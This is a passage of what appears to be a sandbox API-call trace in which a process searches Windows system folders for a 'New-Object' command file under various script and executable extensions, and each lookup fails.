lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.WSH", lpFilePart=0x0) returned 0x22 [0122.397] GetFullPathNameW (in: lpFileName="New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSH", lpFilePart=0x0) returned 0x2c [0122.397] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.WSH", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.MSC", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.MSC", lpFilePart=0x0) returned 0x22 [0122.398] GetFullPathNameW (in: lpFileName="New-Object.MSC", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.MSC", lpFilePart=0x0) returned 0x2c [0122.398] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.MSC", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.CPL", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.CPL", lpFilePart=0x0) returned 0x22 [0122.398] GetFullPathNameW (in: lpFileName="New-Object.CPL", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CPL", lpFilePart=0x0) returned 0x2c [0122.398] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.CPL", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.398] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.399] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object", lpFilePart=0x0) returned 0x1e [0122.399] GetFullPathNameW (in: lpFileName="New-Object", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object", lpFilePart=0x0) returned 0x28 [0122.399] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.399] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.399] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.399] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.399] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.ps1", lpFilePart=0x0) returned 0x19 [0122.399] GetFullPathNameW (in: lpFileName="New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.ps1", lpFilePart=0x0) returned 0x2c [0122.399] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.ps1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.400] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.400] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.400] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.psm1", lpFilePart=0x0) returned 0x1a [0122.400] GetFullPathNameW (in: lpFileName="New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psm1", lpFilePart=0x0) returned 0x2d [0122.400] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.psm1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.400] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.400] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.400] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.400] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.psd1", lpFilePart=0x0) returned 0x1a [0122.400] GetFullPathNameW (in: lpFileName="New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psd1", lpFilePart=0x0) returned 0x2d [0122.401] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.psd1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.401] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.401] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.401] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.401] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.COM", lpFilePart=0x0) returned 0x19 [0122.401] GetFullPathNameW (in: lpFileName="New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.COM", lpFilePart=0x0) returned 0x2c [0122.401] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.COM", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.401] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.401] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.402] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.EXE", lpFilePart=0x0) returned 0x19 [0122.402] GetFullPathNameW (in: lpFileName="New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.EXE", lpFilePart=0x0) returned 0x2c [0122.402] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.EXE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.402] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.402] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.402] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.402] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.BAT", lpFilePart=0x0) returned 0x19 [0122.402] GetFullPathNameW (in: lpFileName="New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.BAT", lpFilePart=0x0) returned 0x2c [0122.402] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.BAT", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.403] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.CMD", lpFilePart=0x0) returned 0x19 [0122.403] GetFullPathNameW (in: lpFileName="New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CMD", lpFilePart=0x0) returned 0x2c [0122.403] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.CMD", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.403] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.403] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.VBS", lpFilePart=0x0) returned 0x19 [0122.403] GetFullPathNameW (in: lpFileName="New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBS", lpFilePart=0x0) returned 0x2c [0122.403] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.VBS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.404] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.404] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.404] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.404] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.VBE", lpFilePart=0x0) returned 0x19 [0122.404] GetFullPathNameW (in: lpFileName="New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBE", lpFilePart=0x0) returned 0x2c [0122.404] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.VBE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.405] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.405] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.405] 